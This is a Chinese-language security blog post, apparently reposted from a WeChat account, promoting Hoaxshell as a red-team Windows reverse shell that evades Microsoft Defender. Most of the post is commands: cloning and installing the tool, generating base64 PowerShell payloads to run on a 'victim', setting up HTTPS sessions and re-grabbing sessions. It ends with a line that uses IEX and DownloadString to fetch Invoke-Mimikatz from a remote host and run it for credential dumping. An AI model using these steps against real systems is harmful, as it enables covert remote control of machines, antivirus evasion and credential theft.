红队利器 - Hoaxshell

admin 2023年2月21日12:47:01评论30 views字数 1580阅读5分16秒阅读模式


        hoaxshell 是一种非常规的 Windows 反向 shell,目前未被 Microsoft Defender 和可能的其他 AV 解决方案检测到,因为它完全基于 http(s) 流量。该工具易于使用,它生成自己的 PowerShell 有效负载并支持加密 (ssl)。


红队利器 - Hoaxshell

安装

git clone https://github.com/t3l3machus/hoaxshellcd ./hoaxshellsudo pip3 install -r requirements.txtchmod +x hoaxshell.py


重要提示:作为避免检测的一种手段,每次启动脚本时,hoaxshell 都会自动为进程中使用的自定义 http 标头的会话 ID、URL 路径和名称生成随机值。生成的有效负载仅适用于为其生成的实例。使用该-g选项绕过此行为并重新建立活动会话或使用新的 hoaxshell 实例重用过去生成的有效负载。


通过 http 的基本 shell 会话

sudo python3 hoaxshell.py -s <your_ip>


当你运行 hoaxshell 时,它会生成自己的 PowerShell 有效负载,供你复制并注入到受害者身上。默认情况下,为方便起见,有效负载采用 base64 编码。如果您需要原始负载,请执行“rawpayload”提示命令或使用-r参数启动 hoaxshell。在受害者上执行有效负载后,您将能够针对它运行 PowerShell 命令。


加密的 shell 会话(https)

# Generate self-signed certificate:openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pass the cert.pem and key.pem as arguments:sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>


由于禁用 ssl 证书验证的附加代码块,生成的 PowerShell 有效负载的长度将更长。

如果您不小心关闭了终端、断电或其他情况,您可以在抓取会话模式下启动 hoaxshell,它会尝试重新建立会话,因为有效负载仍在受害机器上运行。

sudo python3 hoaxshell.py -s <your_ip> -g

重要提示:确保使用与您尝试恢复的会话相同的设置(http/https、端口等)启动 hoaxshell。


如果您执行启动交互式会话的命令,shell 将会挂起

# this command will execute succesfully and you will have no problem: > powershell echo 'This is a test'
# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:> powershell
# In the same manner, you won't have a problem executing this:> cmd /c dir /a
# But this will cause your hoaxshell to hang:> cmd.exe

因此,例如,如果您想通过 hoaxshell 运行 mimikatz,则需要调用以下命令

hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

原文始发于微信公众号(Khan安全攻防实验室):红队利器 - Hoaxshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月21日12:47:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队利器 - Hoaxshellhttp://cn-sec.com/archives/1271120.html

发表评论

匿名网友 填写信息